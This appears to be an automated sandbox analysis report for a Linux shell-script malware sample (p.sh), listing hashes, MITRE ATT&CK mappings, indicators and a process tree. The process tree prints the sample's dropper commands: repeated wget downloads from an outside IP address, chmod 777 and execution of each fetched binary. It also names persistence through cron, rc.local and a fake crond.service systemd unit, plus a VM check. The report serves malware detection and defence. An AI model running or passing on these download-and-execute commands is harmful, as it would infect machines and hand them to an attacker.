a51580aade05f548b87eaf1dd98e4004330dbdcd8822a6405588944c57a8d33a

Analysis

max time kernel
149s
max time network
144s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/08/2026, 02:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 835B
Sample260802-cpvwmssclb
SHA256 a51580aade05f548b87eaf1dd98e4004330dbdcd8822a6405588944c57a8d33a
MD5 8bf1b48138aecfd39dd241f7f515578a
SHA1 418469b90afbade1081e050b10a0a23ad90f3302
SHA512 bc23a318c4838077eb5d311f44954f144b71201ab647272fddae249f810fc78d144f7ef198738f5fafdb95166f61d2f3fec6f22244e94ea208fbdb8242e88baf
TLSH
T19B016BC693649910801A995E22E651E1FC31C3C7254E4F787F9C682DABDCE14F16BF98
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
775	chmod
798	chmod
802	chmod
819	chmod
823	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/rEo	777	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	rEo
File opened for modification	/etc/crontab	rEo

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	rEo

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	rEo

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	rEo

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/27/cmdline	rEo
File opened for reading	/proc/795/cmdline	rEo
File opened for reading	/proc/797/exe	rEo
File opened for reading	/proc/850/cmdline	rEo
File opened for reading	/proc/767/exe	rEo
File opened for reading	/proc/638/cmdline	rEo
File opened for reading	/proc/818/cmdline	rEo
File opened for reading	/proc/832/exe	rEo
File opened for reading	/proc/857/cmdline	rEo
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/307/exe	rEo
File opened for reading	/proc/29/cmdline	rEo
File opened for reading	/proc/21/cmdline	rEo
File opened for reading	/proc/288/cmdline	rEo
File opened for reading	/proc/822/cmdline	rEo
File opened for reading	/proc/827/exe	rEo
File opened for reading	/proc/849/exe	rEo
File opened for reading	/proc/778/exe	rEo
File opened for reading	/proc/318/cmdline	rEo
File opened for reading	/proc/801/exe	rEo
File opened for reading	/proc/827/cmdline	rEo
File opened for reading	/proc/830/cmdline	rEo
File opened for reading	/proc/851/exe	rEo
File opened for reading	/proc/24/cmdline	rEo
File opened for reading	/proc/862/cmdline	rEo
File opened for reading	/proc/880/exe	rEo
File opened for reading	/proc/847/cmdline	rEo
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/291/cmdline	rEo
File opened for reading	/proc/834/cmdline	rEo
File opened for reading	/proc/835/exe	rEo
File opened for reading	/proc/861/cmdline	rEo
File opened for reading	/proc/156/cmdline	rEo
File opened for reading	/proc/227/cmdline	rEo
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/136/exe	rEo
File opened for reading	/proc/mounts	rEo
File opened for reading	/proc/863/exe	rEo
File opened for reading	/proc/867/cmdline	rEo
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/291/exe	rEo
File opened for reading	/proc/7/cmdline	rEo
File opened for reading	/proc/26/cmdline	rEo
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/886/cmdline	rEo
File opened for reading	/proc/133/cmdline	rEo
File opened for reading	/proc/295/cmdline	rEo
File opened for reading	/proc/806/exe	rEo
File opened for reading	/proc/846/cmdline	rEo
File opened for reading	/proc/871/exe	rEo
File opened for reading	/proc/898/cmdline	rEo
File opened for reading	/proc/310/exe	rEo
File opened for reading	/proc/811/cmdline	rEo
File opened for reading	/proc/842/exe	rEo
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/878/exe	rEo
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/304/exe	rEo
File opened for reading	/proc/23/cmdline	rEo
File opened for reading	/proc/144/cmdline	rEo
File opened for reading	/proc/630/cmdline	rEo

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rEo	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:644
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:649
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  PID:654
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:660
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:667
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:671
- /bin/ls
  ls -l /proc/133/exe
  2⤵
  PID:674
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:677
- /bin/ls
  ls -l /proc/144/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/227/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/295/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/304/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/305/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/307/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/310/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/564/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/576/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/578/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/584/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/630/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/631/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/633/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  PID:733
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:737
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  PID:741
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:748
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/96/exe
  2⤵
  PID:752
- /bin/rm
  rm -rf rEo
  2⤵
  PID:754
- /usr/bin/wget
  wget http://129.121.110.105/rEo
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 rEo
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/rEo
  ./rEo pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:777
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:796
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:795
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:795
- /bin/rm
  rm -rf dmZ8
  2⤵
  PID:783
- /usr/bin/wget
  wget http://129.121.110.105/dmZ8
  2⤵
  PID:794
- /bin/chmod
  chmod 777 dmZ8
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/dmZ8
  ./dmZ8 pdvr
  2⤵
  PID:799
- /bin/rm
  rm -rf hjAW
  2⤵
  PID:800
- /usr/bin/wget
  wget http://129.121.110.105/hjAW
  2⤵
  PID:801
- /bin/chmod
  chmod 777 hjAW
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/hjAW
  ./hjAW pdvr
  2⤵
  PID:803
- /bin/rm
  rm -rf Nkg
  2⤵
  PID:804
- /usr/bin/wget
  wget http://129.121.110.105/Nkg
  2⤵
  PID:813
- /bin/chmod
  chmod 777 Nkg
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/Nkg
  ./Nkg pdvr
  2⤵
  PID:820
- /bin/rm
  rm -rf 4Ao
  2⤵
  PID:821
- /usr/bin/wget
  wget http://129.121.110.105/4Ao
  2⤵
  PID:822
- /bin/chmod
  chmod 777 4Ao
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/4Ao
  ./4Ao pdvr
  2⤵
  PID:824
- /bin/rm
  rm -rf p
  2⤵
  PID:825

/bin/systemctl
systemctl enable crond.service
1⤵
- Enumerates kernel/hardware configuration
PID:796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 30B
SHA256 d4acc79be0c64a5f4befa722ec84cb2a7b85eac3363502cda97edd60af3e0b94
MD5 0ceb8198c3451f7d4b64ccbcbdd4c803
SHA1 6dec0faae47d64191ee2dd7e7cec489f30e859d4
SHA512 90468713c6d0c57c21712bdbab22ea022d1613e1df050e7f6e3a1019a5135ebdc3fea2411adc578b6440bbbe0f93458a4930863ede89155447a193c269e4726b
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 34B
SHA256 c504b56800bbee8f9a9ccb10211cd537abe0abe2ad70b94350cc0c6b8c886207
MD5 71324434164372225d0dcca0b9b8b674
SHA1 63bc799a3fcf0bbfbd7864a06f147a4515e1c9ae
SHA512 8eb23286ffa1497044e6e1853db054903702d751d28f443b5d44fe38cac631cddcd3d3cfc84138efed1ca184f68c48b9161c6828a98ef4e60b98805dd8748a7e
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 193B
SHA256 2b668c1fa035e87ddbe7f4f78ece09d7a7308ef23209a0abd8e0e6277c3ba693
MD5 24ab629eca4fad5669862f4eafd7a6f5
SHA1 c4c03e592c8f0dd30e63fe5b58431e3f69a696a4
SHA512 d3b3a93fea75ebf08880fe8e838eb3c5cdbf40059c9178249d4f0a51369c4d2e9e341b27884a3e30945a9b516a86ee951f76a42ffc068b220da38131d0d6c76d
TLSH
T149C02223946124A0894F39A3AEE32B848CA112000ACF93B40BC018292DE20E72121DEE
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

rEo

Path /tmp/rEo
Size 69KB
SHA256 721b681fa4550eb242079da08ac859098b5e7d42246ba7ce3167ef2db3d7969a
MD5 cf77d984a703ab12bfe7509186b63c9a
SHA1 2b56ac60cb9291fd40b7b377d18638aca0df2c5c
SHA512 4e743bbef42cf38e5d9213cb191f231dacbdf8f71ccfe181d126a1b241bcf580629fc62b854cae3f915cac8259f65c2c6e5ccb5066488ae9868a5204a4562f73
SSDEEP 1536:v+ur3MmlNRzb+q5NulPFqahtovQMFPLxYtNZcl5xFbEoHy5p46a:v+ur3RlT3psFhtcQKLmH+5xFbEwy
TLSH
T1F8632959BC419F1AC5D21677FF1E8389372723A8E3EA7103DA052F6533CB56A0E3A845
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads